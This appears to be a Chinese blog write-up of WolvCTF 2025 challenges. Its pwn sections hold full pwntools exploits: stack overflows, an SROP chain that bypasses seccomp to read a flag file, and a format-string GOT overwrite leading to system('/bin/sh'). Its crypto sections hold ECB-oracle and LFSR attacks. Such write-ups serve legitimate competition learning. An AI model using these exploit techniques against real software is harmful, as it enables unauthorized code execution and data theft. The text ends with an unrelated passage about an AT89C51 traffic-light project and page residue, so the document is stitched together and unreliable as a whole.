[WolvCTF 2025]

周末时间太紧,作到1点,题目都太费时间了放弃.跟队友一起把Beginner干完了,其它只作了一点.

Beginner 

P0wn3d

溢出到first_words.guard == 0x42424242

P0wn3d_2

溢出到guard1,guard2有区别吗? 

p.sendlineafter(b"for yourself?\n", b'A'*32+p32(0xdeadbeef)+p32(0x0badc0de))

P0wn3d_3

一共两天居然还分次出题,溢出到后门

p.sendline(b'\0'*0x28+p64(0x4011a5))

EtTuCaeser

这题有Caeser的提示,直接爆破一下是3,只有3带flag的头wctf,然后按着头找字母,发现是5*5排列后的斜线.可是提交不正确,一直想这些叹号怎么处理,第二天才提交成.坑人啊

'''
tzc3Sq{k!ss!a!__FZ!!_!11}
wcf3Vt{n!vv!d!__IC!!_!11}

w c f 3 V
t { n ! v
v ! d ! _
_ I C ! !
_ ! 1 1 }

wctf{v3n!_V!dI_v!C!_!1!1}
'''

REdata

直接能找到串

REverse

按代码来看,前边是移位后边是反转.实际上没有反转

c =b't`qcxo0s0o2.kd\.k\o0s0o20z'
bytes([i+3 for i in c])

'''
  for ( i = 0; i < a3; ++i )
    *(_BYTE *)(i + a2) = *(_BYTE *)(i + a1) - 3;
  for ( j = 0; ; j += 2 )
  {
    result = (unsigned int)(a3 - 1);
    if ( j >= (int)result )
      break;
    v4 = *(_BYTE *)(j + a2);
    *(_BYTE *)(j + a2) = *(_BYTE *)(a3 - 1 - (j + 1) + a2);
    *(_BYTE *)(a2 + a3 - 1 - (j + 1)) = v4;
  }
'''

Crypto

ShiftHappens

题目给了一段c程序

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>

int FEEDBACK = REDACTED //its a secret teehee!  
int L = 16;

uint16_t next(uint16_t current_state){
    uint16_t bit = 0;
    for(int i = 0; i < L; i++){
        bit = bit ^ ( ((current_state >> i) & 1) & ((FEEDBACK >> i) & 1 ) );
    }
    uint16_t new_state = (current_state << 1) | (bit);
    return new_state;
}

int main(int argc, char** argv){
    FILE* fp = fopen("./flag.txt","r");
    if(fp == NULL){
        exit(1);
    }
    char flag[61];
    fscanf(fp, "%s", flag);
    fclose(fp);

    uint16_t state = REDACTED // (*-*) - what are you looking for? 

    int bitstream[60*8];
    for(int i = 0; i < 60*8; i++){
        int bit = (state >> 15) & 1;
        bitstream[i] = bit;
        state = next(state);
    }

    for(int i = 0; i < 60; i++){
        for(int j = 0; j < 8; j++){
            int to_print = (flag[i] >> (7-j)) & 1;
            to_print = to_print ^ bitstream[i*8 + j];
            printf("%d",to_print);
        }
        printf("\n");
    }

    

    return 0;
}

加密方式是LFRS,mask和seed未知

1,因为知道flag头,与密文异或后可以得到一段加密流

2,通过加密流求mask

c = '01111011110001011011101110110100'
m = ''.join([bin(i)[2:].zfill(8) for i in b'wctf'])
s = [int(i)^^int(j) for i,j in zip(c,m)]

A = []
B = []
for i in range(16):
    A.append(s[i:i+16])
    B.append(s[i+16:i+17])

mask = matrix(GF(2),A).solve_right(matrix(GF(2),B))

3,通过矩阵生成加密流,恢复明文

M = matrix(GF(2), 16,16)
for i in range(16):
    M[i,-1] = mask[i][0]

for i in range(15):
    M[i+1,i] = 1

ct = '011110111100010110111011101101000000111100100101111111011000110101011000110110000100111111100100111001101111111001101001001111010110001111100100000110110001001110011111110110011111111110001100000111101111001001000001010100100111000011100011101100010000010110111110101110111000010100001101011001110100001001011000011011011111000001001011111101011100001101100000111010111010001101001101000101101011011011001101100001110101011001010010011111101110101101010101010000100000001110001001'
v = matrix(GF(2),s[:16])
flag = b''
for i in range(0, 60*8, 16):
    c = [int(j) for j in ct[i:i+16]]
    m = ''.join([str(v[0][j]+c[j]) for j in range(16)])
    flag +=long_to_bytes(int(m,2))
    v = v*M^16

print(flag)
#wctf{cr4ck1nG_w34k_3ncrYpt10N_W17h_tH3_p0w3r_0f_M4TH_843953}

ECB++

这一段AES oracle的题真多

#!/usr/local/bin/python3
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Random import random

f = open('./flag.txt','r')
flag = f.read()

def encrypt(message):
    global flag
    message = message.encode()
    message += flag.encode()
    key = random.getrandbits(256)
    key = key.to_bytes(32,'little')
    cipher = AES.new(key, AES.MODE_ECB)
    ciphertext = cipher.encrypt(pad(message, AES.block_size))
    return(ciphertext.hex())

print("Welcome to my secure encryption machine!")
print("I'll encrypt all your messages (and add a little surprise at the end)")

while(True):
    print("Do you have a message to encrypt? [Y|N]")
    response = input()
    if(response == 'Y'):
        print("Gimme your message:")
        message = input()
        print("Your message is: ",encrypt(message))
    else:
        exit(0)

这个还算简单,padding作在前边,每次爆破flag的1个字节,同时爆破这个字节,当暴露的块密文与爆破的块密文相同时判断为爆破成功.

....?         ....         ...w

爆破块  填充块  暴露块

这里的key是每次重新生成的,所以每次爆破的时候需要带上密文

国外的这个密文还挺长,网站还挺慢,一会一断,爆破很辛苦.

from pwn import *

p=remote('ecbpp.kctf-453514-codelab.kctf.cloud', 1337)

def oracle(data):
    p.sendlineafter(b"Do you have a message to encrypt? [Y|N]", b'Y')
    p.sendlineafter(b"Gimme your message:", data)
    p.recvuntil(b"Your message is: ")
    enc = bytes.fromhex(p.recvline().decode().strip())
    return enc

flag = b'A'*16 + b'wctf{1_m4d3_th15_fl4G_r34lly_l0ng_s0_th4t_y0u_w0ulD_h4v3_t0_d34L_w1th_muL7iPl3_bl0cKs_L'
for i in range(len(flag)-16: 96):
    for j in range(0x20,0x7f):
        data = flag[-15:]+bytes([j])+ b'A'*(95-i)
        test=oracle(data) #尾部漏出flag  1个字符
        if test[:16] == test[96:96+16]:
            flag += bytes([j])
            print(flag)
            break


#wctf{1_m4d3_th15_fl4G_r34lly_l0ng_s0_th4t_y0u_w0ulD_h4v3_t0_d34L_w1th_muL7iPl3_bl0cKs_L0L}

*KryptoSystem

未完成,给了一段大写字节,第1段是移位,后边不知道是啥

PBATENGHYNGVBAFBAPENPXVATGURSVEFGCNEGBSGURPBQRVGFABGERNYYLHAOERXNOYRGURERFGBSGURPUNYYRATRJVYYVAQVPNGRUBJGBRKGENPGGURSYNTSEBZGURPCURE?
SIEVSTTUXIWFITEOEOPNTRECWSWHTTTMCFOEGMNIEOUGNSEDKEWPATMOALUDETROAHWDLHHAOIFTEEAEHAPAROLVEARHDLTLOTJTEDINEOOUYLRAYNYCKYCSANPIPTILPNTLSADMDDLTTESIOYIAORFTOOWFFADNSRSADCGLMLCTLAAUCLREIDHEURAOEAOEGBNRHCDIXERELDULEXCOAELHARAOHWSNURROCFOYNSDYRAOO?
EHRTQIHYDGKJPJXSUQNFNGWTEPZLNGTYEYTXOVNUZVANJMBSCVAFPORHKFXBWUKJWNEDQPUWACDFXNXMKYXAATFFGKGLPJBXSCLFHQMTBHNSWPWNDQIJPJTYUQNMWFYZJVHTUQNYNWEDWTXTJGHKPJXJHKMJIAZZUVAJORXHECEBKTWXUQNRQUMJTVKFYVMTCGMYDGYQWITWAOBXORXQHGWQEMXYDGYTHNHBEPZBKTWUATLSPQFFGGMMEULTHXTGHGBSAGWYKOTPAVANONHSCGKXKYTYYJFJPCEPBQKFIKGZPGMMEUVMWNEJJIXBWUTWAHXWAPVJPQMMAMKDLVHXYQWJEVLFRGKDEPMJNGLYEPZXPQKDWPWNWOLZNGRTQETSBKGIOVNKBCUTQVBYKPMMAKGYATGJPCVYQCEQUVAJNGTQYQWJDCWKKWKXAEMNKPLFJFMMANTXPQGJNGFFEPLZJUHQRGWYKVANOFTDWNLTPJXKETLYKPXBWUGTPCVFAUTWYKIMATLTPJTYOCGTPJXWZKYKATXSYGWTEPZYSQONCGGJNGVNLJXWOHXQPTXUAVBYEXXXKKAFZVHHDCGLAKMZLOTDXGGTSKMNONHSCGGTQIALKQWQQEDFJFAFRGYZJYBYDVAJNGLYKHMMAEHRLGMNPKHS

congratulations on cracking the first part of the code its not really unbrekable the rest of the challenge will indicate how to extract the flag from the cp her

PWN

DryWall

有溢出s[256]允许读fgets(s,0x256),限制了open和execve可以用openat打开文件然后read,write

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[264]; // [rsp+0h] [rbp-110h] BYREF
  __int64 v5; // [rsp+108h] [rbp-8h]

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  v5 = seccomp_init(2147418112LL);
  seccomp_rule_add(v5, 0LL, 59LL, 0LL);
  seccomp_rule_add(v5, 0LL, 2LL, 0LL);
  seccomp_rule_add(v5, 0LL, 322LL, 0LL);
  seccomp_rule_add(v5, 0LL, 19LL, 0LL);
  seccomp_rule_add(v5, 0LL, 20LL, 0LL);
  seccomp_rule_add(v5, 0LL, 310LL, 0LL);
  seccomp_rule_add(v5, 0LL, 311LL, 0LL);
  seccomp_load(v5);
  puts("What is your name, epic H4x0r?");
  fgets(name, 30, stdin);
  printf("Good luck %s <|;)\n", name);
  printf("%p\n", main);
  fgets(s, 0x256, stdin);
  return 0;
}

有gift 给了pop rax和syscall

.text:0000000000001195                               ; __int64 gift(void)
.text:0000000000001195                               public _Z4giftv
.text:0000000000001195                               _Z4giftv proc near
.text:0000000000001195                               ; __unwind {
.text:0000000000001195 55                            push    rbp
.text:0000000000001196 48 89 E5                      mov     rbp, rsp
.text:0000000000001199 5A                            pop     rdx
.text:000000000000119A C3                            retn
.text:000000000000119A
.text:000000000000119A                               _Z4giftv endp
.text:000000000000119A
.text:000000000000119B                               ; ---------------------------------------------------------------------------
.text:000000000000119B 58                            pop     rax
.text:000000000000119C C3                            retn
.text:000000000000119C
.text:000000000000119D                               ; ---------------------------------------------------------------------------
.text:000000000000119D 0F 05                         syscall                                 ; LINUX -
.text:000000000000119F C3                            retn

没有其它的ROP,显然是个srop的题,只是前边256的空间一次不大够,后边也只够1次sigreturn所以每次只能执行一个

from pwn import *
context(arch='amd64', log_level='debug')

elf = ELF('./chal')

#p = process('./chal')
#gdb.attach(p, "b*0x555555555379\nc")
p = remote('drywall.kctf-453514-codelab.kctf.cloud', 1337)

p.sendlineafter(b"What is your name, epic H4x0r?\n", b'/home/user/flag.txt\0')

p.recvuntil(b"<|;)\n")
elf.address = int(p.recvline(),16) - 0x11a3
print(f"{elf.address = :x}") 

name = elf.address + 0x4050

pop_rbp = elf.address + 0x11a1
pop_rdx = elf.address + 0x1199
pop_rax = elf.address + 0x119b
syscall = elf.address + 0x119d
gets    = elf.address + 0x1359
leave_ret = elf.address + 0x1379
bss = elf.address + 0x4800


p.sendline(b'a'*0x110+ flat(bss, gets) )

frame = SigreturnFrame()
frame.rax = 0x101
frame.rdi = 0
frame.rsi = name
frame.rdx = 0
frame.rbp = bss + 0x300
frame.rsp = bss + 0x120
frame.rip = syscall

pay = b'\0'*0x110 + flat(bss+0x110,pop_rax,15, syscall, frame, 0,gets)
p.sendline(pay)

bss += 0x300
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 3
frame.rsi = name
frame.rdx = 0x50
frame.rbp = bss + 0x300
frame.rsp = bss + 0x120
frame.rip = syscall

pay = b'\0'*0x110 + flat(bss+0x110,pop_rax,15, syscall, frame, 0,gets)
p.sendline(pay)

bss += 0x300
frame = SigreturnFrame()
frame.rax = 1
frame.rdi = 1
frame.rsi = name
frame.rdx = 0x50
frame.rbp = bss + 0x200
frame.rsp = bss + 0x120
frame.rip = syscall

pay = b'\0'*0x110 + flat(bss+0x110,pop_rax,15, syscall, frame, 0,gets)
p.sendline(pay)


p.interactive()

#wctf{fL1m5y_w4LL5_br34k_f4r_7h3_31337_459827349}

TakeNote

1,在show的时候使用printf,所以是个格式化字符串的题,每次先add再show

2,循环没有跳出,需要修改got.exit为leave ret 跳回

  puts("How many notes do you need to write?\n");
  fgets(s, 3, stdin);
  v3 = atoi(s);
  v4 = (char *)malloc(16 * (v3 + 1));
  v5 = malloc(v3);
  for ( i = 0; i < v3; ++i )
    v5[i] = 0;
  while ( 1 )
  {
    menu();
    __isoc99_scanf("%d", &v0);
    getchar();
    if ( v0 == 3 )
    {
      puts("Thank you for taking notes with us!\n");
      exit(0);
    }
    if ( v0 > 3 )
      break;
    if ( v0 == 1 )
    {
      printf("Which note do you want to write to? [0 - %d]\n", (unsigned int)(v3 - 1));
      __isoc99_scanf("%d", &v1);
      getchar();
      if ( v1 < 0 || v3 <= v1 )
      {
        puts("Nice try buddy *-*\n");
        exit(1);
      }
      fgets(src, 33, stdin);
      strncpy(&v4[16 * v1], src, 0x11uLL);
      v5[v1] = 1;
    }
    else
    {
      if ( v0 != 2 )
        break;
      puts("Which note do you want to print?\n");
      __isoc99_scanf("%d", &v1);
      getchar();
      if ( v1 < 0 || v3 <= v1 )
      {
        puts("Nice try buddy *-*\n");
        exit(1);
      }
      if ( !v5[v1] )
      {
        puts("You haven't written that note yet >:(\n");
        exit(1);
      }
      puts("Your note reads:\n");
      printf(&v4[16 * v1]);
    }
  }
  puts("Uhm, that's not an option. You might want to look at this: https://www.youtube.com/watch?v=uHgt8giw1LY\n");
  exit(0);
}

这里输入的可能比较长,show只有前边16字节,可以多次写也可以多执行几次.由于fgets可写32字节,所以可以把地址留在栈上.

from pwn import *
context(arch='amd64', log_level='debug')

elf = ELF('./chal')
libc = ELF('./libc-2.31.so')



def show(msg):
    p.sendlineafter(b"3. Exit\n\n", b'1')
    p.sendlineafter(b"\n", b'0')
    p.sendline(msg)
    
    p.sendlineafter(b"3. Exit\n\n", b'2')
    p.sendlineafter(b"Which note do you want to print?\n\n", b'0')
    p.recvuntil(b"Your note reads:\n\n")

#p = process('./chal')
p = remote('takenote.kctf-453514-codelab.kctf.cloud', 1337)

p.sendlineafter(b"How many notes do you need to write?\n\n", b'10')

'''
00:0000│ rsp 0x7fffffffdce0 —▸ 0x7ffff7f98ff0 (_IO_file_jumps) ◂— 0
01:0008│-058 0x7fffffffdce8 ◂— 2
02:0010│-050 0x7fffffffdcf0 ◂— 0xa0000000a /* '\n' */
03:0018│-048 0x7fffffffdcf8 —▸ 0x5555555582a0 ◂— '%6$p %7$p\n'
04:0020│-040 0x7fffffffdd00 —▸ 0x555555558360 ◂— 1
05:0028│-038 0x7fffffffdd08 ◂— 0x3031fff7e33030
06:0030│-030 0x7fffffffdd10 ◂— '%6$p %7$p\n'
07:0038│-028 0x7fffffffdd18 ◂— 0xa70 /* 'p\n' */
08:0040│-020 0x7fffffffdd20 ◂— 0
09:0048│-018 0x7fffffffdd28 —▸                   #15 ptr
0a:0050│-010 0x7fffffffdd30 —▸ 0x7fffffffdd60 ◂— 1
0b:0058│-008 0x7fffffffdd38 ◂— 0x4abae5eb00ff6f00
0c:0060│ rbp 0x7fffffffdd40 —▸ 0x7fffffffdd60 ◂— 1                                           #18
0d:0068│+008 0x7fffffffdd48 —▸ 0x55555555558b (main+123) ◂— mov rdx, qword ptr [rbp - 8]     #19
0e:0070│+010 0x7fffffffdd50 ◂— 0        
0f:0078│+018 0x7fffffffdd58 ◂— 0x4abae5eb00ff6f00
10:0080│+020 0x7fffffffdd60 ◂— 1
11:0088│+028 0x7fffffffdd68 —▸ 0x7ffff7ddcd68 (__libc_start_call_main+120) ◂— mov edi, eax   #23
12:0090│+030 0x7fffffffdd90 —▸ 0x7ffff7ffc620 (_rtld_global_ro) ◂— 0x6060900000000
13:0098│+038 0x7fffffffdd98 —▸ 0x7fffffffde78 —▸ 0x7fffffffe203 ◂— 0x43006c6168632f2e /* './chal' */ #25 chain->rop
'''

show(b'%18$p %19$p ')
stack = int(p.recvuntil(b' '),16) - 0x18
elf.address = int(p.recvuntil(b' '),16) - 0x158b
show(b'%23$p ')
libc.address = int(p.recvuntil(b' '),16) - 0x24083
print(f"{stack = :x} {elf.address = :x} {libc.address = :x}")

pop_rdi = elf.address + 0x000000000000160b # pop rdi ; ret
pop_rsi = elf.address + 0x0000000000001609 # pop rsi ; pop r15 ; ret
leave_ret = elf.address+0x126b
#gdb.attach(p, "b*0x5555555554f0\nc")

show(f"%{leave_ret&0xffff}c%15$hn".encode().ljust(0x18,b'\0')+p64(elf.got['exit']))

pay = flat(pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system'])
for i,v in enumerate(pay):
    if v!=0:
        show(f"%{v}c%15$hhn".encode().ljust(0x18,b'\0')+p64(stack+i))
    else:
        show(f"%15$hhn".encode().ljust(0x18,b'\0')+p64(stack+i))

p.sendlineafter(b"3. Exit\n\n", b'3')
p.interactive()
#wctf{m3m0ry_l4y0u7_1s_crUc1Al_f0r_3xpL01t5}

REV

逆向队友没上线,硬着头皮作了两题,这题太烦人了

CrackMeEXE

用IDA直接打开没代码,用010发现有UPX0标记,先用upx -d xxx 解包.

IDA发现加密校验部分被加密了

  v27 = 0;
  *(_OWORD *)Buffer = 0i64;
  v20 = _acrt_iob_func(0);
  fgets(Buffer, 19, v20);
  v21 = strcspn(Buffer, "\n");
  if ( v21 >= 0x14 )
  {
    _report_rangecheckfailure();
    JUMPOUT(0x7FF682B212D7i64);    //加了密了
  }
  Buffer[v21] = 0;
  v22 = v16(Buffer);
  v23 = "\nCORRECT!";
  if ( v22 )
    v23 = "\nWhat? no...";
  puts(v23);
  return 0;

在主程序里有一段解密代码,置种子然后用随机数异或

  srand(0x3419u);
  v18 = 0;
  v19 = &qword_7FF682B25080;
  do
  {
    *(_BYTE *)v19 ^= rand();
    ++v18;
    v19 = (__int64 *)((char *)v19 + 1);
  }

先写程序处理下,把加密的代码解密再用IDA看

from ctypes import *
 
clibc = cdll.LoadLibrary("msvcrt.dll")
#windows msvcrt.dll

clibc.srand(0x3419)
a = open('chall.exe', 'rb').read()

msg = a[0x2880: 0x2880+0x8b]
m2 = [(i^clibc.rand())&0xff for i in msg]

open('r2.exe','wb').write(a[:0x2880]+bytes(m2)+a[0x2880+0x8b:])

发现校验代码就是密文与b'flag'异或

__int64 __fastcall sub_140005080(__int64 a1)
{
  __int64 i; // r10
  __int64 v3; // rdi
  _QWORD v4[4]; // [rsp-28h] [rbp-28h] BYREF
  __int64 v5; // [rsp-8h] [rbp-8h] BYREF

  for ( i = 0i64; *(_BYTE *)(a1 + i); ++i )
    ;
  if ( i != 18 )
    return 1i64;
  v5 = 0x67616C66i64;
  v4[3] = &v5;
  v4[2] = 0x1159i64;
  v4[1] = 0x1352353903521556i64;
  v4[0] = 0x90F2D1D01150F11i64;
  v3 = 0i64;
  while ( i )
  {
    v3 += *((_BYTE *)v4 + i - 1) != (unsigned __int8)(*((_BYTE *)&v5 + (i - 1) % 4ui64) ^ *(_BYTE *)(a1 + i - 1));
    --i;
  }
  return v3;
}
v4 = p64(0x90F2D1D01150F11)+p64(0x1352353903521556)+p16(0x1159)
xor(b'flag',v4)
b'wctf{Ann0y3d_Y3t?}'

AngerIssues

IDA打开看有239个小funX,每个大概都是flag[i]=flag[j]+x

太多了,用程序处理一下,先从IDA上把汇编码复制出来再一个个过滤函数(程序没完全处理所有情况,只处理a[i]=a[j]+x中x为正负零的三种情况),还有两个是a[i]=x的情况手工处理

msg = open('msg.txt').readlines()

i = 0
fun = []
for idx in range(240):
    while f'public func{idx}' not in msg[i]:
        i+=1
    ok = False
    tmp = [idx]
    while 'retn' not in msg[i]:
        if '48 83 C0 ' in msg[i]:
            k = msg[i].index('48 83 C0 ')
            s = int(msg[i][k+9:k+11], 16)
            tmp.append(s)
            #print(i,'s',s)
        elif '48 83 C2 ' in msg[i]:
            k = msg[i].index('48 83 C2 ')
            t = int(msg[i][k+9:k+11], 16)
            tmp.append(t)
            #print(i,'t',t)            
        elif '83 EA ' in msg[i]:
            k = msg[i].index('83 EA ')
            v = int(msg[i][k+6:k+8], 16)
            tmp.append(v)
            #print(i,'v1',v)
            fun.append([idx, s,t,-v])    
            ok = True            
        elif '83 C2 ' in msg[i]:
            k = msg[i].index('83 C2 ')
            v = int(msg[i][k+6:k+8], 16)
            tmp.append(v)
            #print(i,'v2',v)
            ok = True            
        i+=1
    
    if len(tmp)== 3:
        tmp.append(0)
    if len(tmp)==4:
        fun.append(tmp)
        print(f"a[{tmp[1]}] == a[{tmp[2]}] + {tmp[3]} #{tmp[0]}")
    #break

print(fun)

a = [-1]*59
a[0] = ord('w')
a[1] = ord('c')
a[2] = ord('t')
a[3] = ord('f')
a[4] = ord('{')
a[58] = ord('}')
a[17] = 53
a[16] = 117
a[42] = a[0]

for _ in range(len(fun)):
    for i in range(len(fun)):
        idx,s,t,v = fun[i]
        print(idx,s,t,v)
        if a[s] != -1 and a[t] == -1:
            print(i,'1',s,t,v)
            a[t] = a[s]-v
            fun.pop(i)
            break
        if a[s] == -1 and a[t] != -1:
            print(i,'2',s,t,v)
            a[s] = a[t]+v
            fun.pop(i)
            break

print(a)
print(bytes(a))
#wctf{1_h0p3_y0u_u53d_ANGR_f0r_th15_0r_y0U_w0uLd_b3_a_duMMy}

Office

程序流程:

先生成1字节密文,

raise会修改每次增加的大小(每次只能比原来大)

clock_in会显示bal与密文与运算后得到的7种情况,然后bal+=raise,并且secret^=bal

__int64 clock_in()
{
  __int64 result; // rax

  if ( ((unsigned __int8)secret & (unsigned __int8)byte_404088) != 0 )
    puts("You forget to put the cover sheet on your TPS report");
  if ( ((unsigned __int8)secret & (unsigned __int8)byte_404089) != 0 )
    puts("You have a meeting with a consultant");
  if ( ((unsigned __int8)secret & (unsigned __int8)byte_40408A) != 0 )
    puts("The printer jams");
  if ( ((unsigned __int8)secret & (unsigned __int8)byte_40408B) != 0 )
    puts("Your boss tells you that you have to come in on Saturday");
  if ( ((unsigned __int8)secret & (unsigned __int8)byte_40408C) != 0 )
    puts("The fire alarm goes off");
  if ( ((unsigned __int8)secret & (unsigned __int8)byte_40408D) != 0 )
    puts("Your cowworker asks if you have seen his stapler");
  if ( ((unsigned __int8)secret & (unsigned __int8)byte_40408E) != 0 )
    puts("You think about quitting");
  printf("Time to clock out. You made $%d today\n", (unsigned int)raise_0);
  bal += raise_0;
  result = bal ^ (unsigned int)(unsigned __int8)secret;
  secret ^= bal;
  return result;
}

思路:

1字节密文也就256种,通过给出的提示大概率可以得到比重复数较少的情况,

然后调整 raise让每次异或后bal尾字节为0保持secret不变进行第2次测试

测试成功后调整raise使其满足257*secret得到flag

坑:由于raise每次只能增加,所以几次以后可能会无法保证小于密文,所以不是每次都能成功.

from pwn import *
context.log_level = 'debug'

def guess(x):
    set(x-bal)
    show()
    p.sendlineafter(b"> ", b'3')

def set(v):
    global x
    x = v
    p.sendlineafter(b"> ", b'2')
    p.sendlineafter(b"> ", str(x).encode())

def show():
    global bal
    bal += x
    p.sendlineafter(b"> ", b'1')
    v = ''
    while True:
        msg = p.recvline()
        if b"You forget to put the cover sheet on your TPS report" in msg:
            v +='0'
        if b"You have a meeting with a consultant" in msg:
            v +='1'
        if b"The printer jams" in msg:
            v +='2'
        if b"Your boss tells you that you have to come in on Saturday" in msg:
            v +='3'
        if b"The fire alarm goes off" in msg:
            v +='4'
        if b"Your cowworker asks if you have seen his stapler" in msg:
            v +='5'
        if b"You think about quitting" in msg:
            v +='6'
        if b"Time to clock out. You made " in msg:
            break
        
    return v

mask = [0xa,0x16,0x18,0x28,0xa8,0x60,0x1]

dic = []
for i in range(256):
    v = ''
    for j,k in enumerate(mask):
        if i&k != 0:
            v += str(j)
    dic.append(v)

cnt = {}
for i in range(256):
    if dic[i] in cnt:
        cnt[dic[i]] += 1
    else:
        cnt[dic[i]] = 1

p = remote('office.kctf-453514-codelab.kctf.cloud', 1337)
#p = process('./chal')
#gdb.attach(p, "b*0x4012df\nc")
bal = 0x539
x = 10

set(0x100-0x39) #balance=0
msg = show()
print(msg)

if cnt[msg] == 1:
    guess(0x101*dic.index(msg))
    p.interactive()

#测试
base = 1
for i in range(256):
    if dic[i] != msg: continue
    set(base*0x100+i)
    base += 1
    show()
    set(base*0x100)
    base += 1
    v = show()
    set(base*0x100-i)
    base += 1
    show()
    if v=='':
        guess(0x101*i)
        break

p.interactive()

后边一个比一个恶心,一个js的正则表达式,js里边可以有代码所以更复杂,另一个是一段猜不出语言和规则的代码.

【基于AT89C51单片机的交通灯系统】是电子工程领域中的一个经典实践项目,尤其适合初学者进行单片机编程和硬件控制的学习。AT89C51是一款广泛应用的8位微处理器,由美国Atmel公司生产,具有4KB的可编程Flash存储器,可以执行各种控制任务,包括交通灯系统的控制。 交通灯控制系统是城市交通管理的重要组成部分,通过红绿黄三色灯的变化来指示行人和车辆何时通行。在本项目中,交通灯系统采用AT89C51单片机作为核心控制器,通过编程实现红绿黄灯的定时切换,确保交通流畅且安全。 DSN(Design Suite Notation)文件,如`C51交通灯.DSN`,通常是在电路设计软件,如Keil uVision或Proteus中创建的工程文件。这种文件包含了整个项目的配置信息,包括源代码、元器件库、仿真设置等,使得开发者可以在虚拟环境中对交通灯系统进行仿真测试。Proteus是一款强大的电子电路仿真软件,可以直观地模拟硬件电路的行为,无需物理硬件即可验证设计的正确性。 数码管(7段显示器)是显示倒计时的关键部件。在这个项目中,数码管用于显示每个灯组的剩余时间,增强用户交互体验,使驾驶员和行人能够清晰了解何时转换灯色。AT89C51通过串行或并行接口与数码管连接,并通过特定的驱动程序代码控制数码管的显示内容。 编程方面,AT89C51使用C51语言编写,这是一种为8051系列单片机定制的C语言变体。代码中包含的详细注释对于初学者理解程序逻辑至关重要,通过注释可以学习如何设置定时器、中断服务子程序以及I/O端口操作,这些都是单片机编程的基础知识。 交通灯的控制通常基于定时器中断,例如,可以设置一个定时器在特定周期后触发中断,然后在中断服务程序中改变灯的状态。此外,为了实现数码管显示,可能需要用到移位寄存器和译码器等外围设备,这些都需要在代码中进行编程控制。 这个项目涵
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值